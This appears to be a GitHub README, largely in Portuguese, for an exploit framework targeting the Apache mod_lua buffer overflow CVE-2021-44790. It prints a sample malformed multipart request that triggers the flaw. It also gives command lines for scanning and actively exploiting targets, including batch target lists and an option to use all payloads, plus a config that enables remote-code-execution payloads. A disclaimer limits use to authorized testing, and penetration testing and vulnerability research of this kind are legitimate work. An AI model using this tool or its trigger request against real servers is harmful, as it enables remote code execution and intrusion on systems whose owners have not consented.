
Apache HTTP Server 2.4.x mod_lua Buffer Overflow (CVE-2021-44790) - Advanced exploitation framework with fingerprinting, multi-stage scanning, plugin architecture, professional reporting, screenshot capture, SQLite database, and 95%+ confidence detection. Author: Sudeepa Wanigarathna.
Exploração de Buffer Overflow no Apache mod_lua é uma plataforma de exploração avançada, de nível empresarial, para CVE-2021-44790 — uma vulnerabilidade crítica de buffer overflow no módulo mod_lua do Apache HTTP Server 2.4.x. Este framework oferece fingerprinting abrangente, descoberta inteligente de scripts, varredura em múltiplas etapas e recursos profissionais de geração de relatórios, com mais de 95% de confiança na detecção.
A vulnerabilidade existe no módulo mod_lua ao processar requisições multipart/form-data. Um underflow de inteiro na função lua_request_parsebody() pode levar a um buffer overflow baseado em heap, potencialmente permitindo execução remota de código.
POST /process.lua HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=4
4
Content-Disposition: form-data; name="name"
0
4
| Interface Principal | Resultados do Fingerprint |
|---|---|
![]() | ![]() |
# Clone the repository
git clone https://github.com/CerberusMrXi/Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790
cd Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790
# Install dependencies
pip install -r requirements.txt
# Verify installation
python3 exploit.py --version
# Quick vulnerability scan
python3 exploit.py http://target.com
# Verbose scan with exploitation
python3 exploit.py https://target.com --exploit --verbose
# Generate all reports
python3 exploit.py http://target.com --report all
# Research mode with database
python3 exploit.py http://target.com --research
python3 exploit.py [TARGET] [OPTIONS]
python3 exploit.py https://example.com --verbose --report all
python3 exploit.py https://internal-server.com \
--proxy http://proxy.corp.com:8080 \
--threads 10 \
--timeout 15 \
--verbose \
--report all \
--output /var/log/security/
python3 exploit.py https://client.com \
--threads 30 \
--timeout 10 \
--exploit \
--all-payloads \
--report all \
--screenshot \
--research \
--verbose \
--output /pentest/client_name/
python3 exploit.py --batch targets.txt --config config.yaml
# Show all vulnerable targets
python3 exploit.py --query "SELECT * FROM targets WHERE vulnerable=1"
# Get statistics
python3 exploit.py --query "SELECT COUNT(*) as total, SUM(vulnerable) as vulnerable FROM targets"
# ----------------------------------------------------------------------------
# LuaStorm Exploit Framework - Configuration File
# ----------------------------------------------------------------------------
# Scan Settings
threads: 20 # Concurrent threads
timeout: 10 # Request timeout in seconds
retries: 3 # Number of retry attempts
rate_limit: 10 # Requests per second
max_depth: 3 # Directory traversal depth
follow_redirects: true # Follow HTTP redirects
verify_ssl: false # Verify SSL certificates
# Network Settings
proxy: null # Proxy URL
http2: true # Enable HTTP/2 support
user_agent: random # User-Agent (random/specific)
save_packets: false # Save raw network packets
# Analysis Settings
research_mode: true # Enable research database
verbose: false # Verbose output
scan_only: false # Scan without exploitation
exploit: false # Enable exploitation
all_payloads: false # Use all payloads
# Payload Settings
payloads:
detection: true
memory: true
rce: true
dos: false
# Report Settings
report_json: true
report_html: true
report_markdown: true
report_pdf: false
screenshot: false
reports_dir: reports
# Database Settings
database_path: luastorm.db
database_retention: 365
# Directory Settings
logs_dir: logs
screenshots_dir: screenshots
{
"scan_id": "a1b2c3d4",
"target": {
"url": "https://example.com",
"hostname": "example.com",
"port": 443
},
"vulnerable": true,
"risk_level": "Critical",
"scan_duration": 45.23,
"timestamp": "2026-08-04T15:45:23"
}
-- Targets table
CREATE TABLE targets (
id INTEGER PRIMARY KEY,
scan_id TEXT UNIQUE,
url TEXT,
hostname TEXT,
ip TEXT,
port INTEGER,
protocol TEXT,
apache_version TEXT,
lua_version TEXT,
os TEXT,
architecture TEXT,
waf TEXT,
cdn TEXT,
vulnerable INTEGER,
risk_level TEXT,
scan_date TEXT,
duration REAL
);
-- Scripts table
CREATE TABLE scripts (
id INTEGER PRIMARY KEY,
scan_id TEXT,
path TEXT,
method TEXT,
status_code INTEGER,
content_type TEXT,
response_time REAL,
vulnerable INTEGER
);
-- Payloads table
CREATE TABLE payloads (
id INTEGER PRIMARY KEY,
scan_id TEXT,
script_id INTEGER,
payload_name TEXT,
payload_type TEXT,
success INTEGER,
response_time REAL,
indicators TEXT,
error TEXT
);
# plugins/my_plugin.py
class MyPlugin:
plugin_name = "my_plugin"
plugin_version = "1.0"
plugin_author = "Your Name"
def __init__(self, config):
self.config = config
def execute(self, target_info):
"""Execute plugin logic"""
return {
'status': 'success',
'message': 'Plugin executed',
'data': {'target': target_info.url}
}
THIS TOOL IS PROVIDED FOR EDUCATIONAL AND AUTHORIZED TESTING PURPOSES ONLY.
Unauthorized use against systems you do not own or have explicit permission to test
is illegal and unethical. The author assumes no responsibility for misuse, damage,
or legal consequences arising from the use of this tool.
By using this tool, you agree to:
1. Only test systems you own or have written permission to test
2. Comply with all applicable laws and regulations
3. Report findings responsibly
4. Not use this tool for malicious purposes
Contribuições são bem-vindas! Siga estas diretrizes:
# Clone your fork
git clone https://github.com/CerberusMrXi/Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790
cd Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790
# Install development dependencies
pip install -r requirements-dev.txt
# Run tests
python -m pytest tests/
Sudeepa Wanigarathna
Somente para Fins Educacionais e de Testes Autorizados
Este software é fornecido "no estado em que se encontra", sem garantia de qualquer tipo, expressa ou implícita.
⭐ Dê uma estrela neste repositório para apoiar o projeto!
💡 Encontrou um bug? Abra uma issue
📧 Contato: [email protected]
Feito com ❤️ para a comunidade de segurança
| Recurso | Descrição |
|---|
| 🔍 Fingerprinting Avançado | Detecção de versão do Apache, mod_lua, SO, arquitetura, WAF, CDN, contêiner e provedor de nuvem |
| 🎯 Descoberta Inteligente | Mais de 7 técnicas de descoberta, incluindo robots.txt, sitemap, parsing de HTML e extração de JavaScript |
| 💥 Varredura em Múltiplas Etapas | Conexão → Fingerprint → Descoberta → Verificação → Exploração → Relatórios |
| 🧩 Sistema de Plugins Extensível | Desenvolvimento fácil de plugins para CVEs futuras |
| 🌐 Motor HTTP Inteligente | Pool de conexões, novas tentativas, suporte a HTTP/2 e limitação de taxa |
| 📊 Relatórios Abrangentes | JSON, HTML, Markdown e PDF com painéis interativos |
| 🎨 Interface de Terminal Atraente | Biblioteca Rich com barras de progresso, tabelas e saída codificada por cores |
| 💾 Banco de Dados de Pesquisa | Armazenamento SQLite com histórico completo de varreduras e suporte a consultas |
| 📸 Captura de Screenshots | Screenshots automáticos de páginas web para coleta de evidências |
| 🚀 Alto Desempenho | Mais de 20 threads simultâneas e mais de 100 pools de conexões |
| Atributo | Valor |
|---|
| ID do CVE | CVE-2021-44790 |
| Vulnerabilidade | Buffer Overflow (Underflow de Inteiro) |
| Software Afetado | Apache HTTP Server 2.4.0 a 2.4.51 |
| Versão Corrigida | Apache HTTP Server 2.4.52 e posteriores |
| Componente | Módulo mod_lua |
| Vetor de Ataque | Rede (Remoto) |
| Pontuação CVSS | 9.8 (Crítica) |
| Impacto na Confidencialidade | Alto |
| Impacto na Integridade | Alto |
| Impacto na Disponibilidade | Alto |
| Maturidade do Exploit | Prova de Conceito Disponível |
| Progresso da Varredura | Painel do Relatório HTML |
|---|
![]() | ![]() |
| Opção | Descrição | Exemplo |
|---|
TARGET | URL do alvo | http://target.com |
--config FILE | Arquivo de configuração | --config config.yaml |
--threads N | Número de threads | --threads 30 |
--timeout N | Tempo limite da requisição (segundos) | --timeout 15 |
--proxy URL | URL do proxy | --proxy http://127.0.0.1:8080 |
--verbose | Saída detalhada | --verbose |
--scan-only | Varredura sem exploração | --scan-only |
--exploit | Habilitar exploração | --exploit |
--all-payloads | Usar todos os payloads | --all-payloads |
--report FORMAT | Formato do relatório (json/html/markdown/all) | --report all |
--output DIR | Diretório de saída | --output /path/to/reports/ |
--research | Habilitar modo de pesquisa | --research |
--database FILE | Caminho do banco de dados | --database luastorm.db |
--screenshot | Capturar screenshots | --screenshot |
--batch FILE | Arquivo em lote com alvos | --batch targets.txt |
--query SQL | Executar consulta no banco de dados | --query "SELECT * FROM targets" |
| Recurso | Desempenho |
|---|
| Fingerprinting | < 2 segundos |
| Descoberta de Scripts | 5 a 10 segundos |
| Teste de Payloads | 1 a 5 segundos por payload |
| Geração de Relatórios | < 1 segundo |
| Operações de Banco de Dados | < 100ms |
| Threads Simultâneas | 20+ |
| Pool de Conexões | 100+ |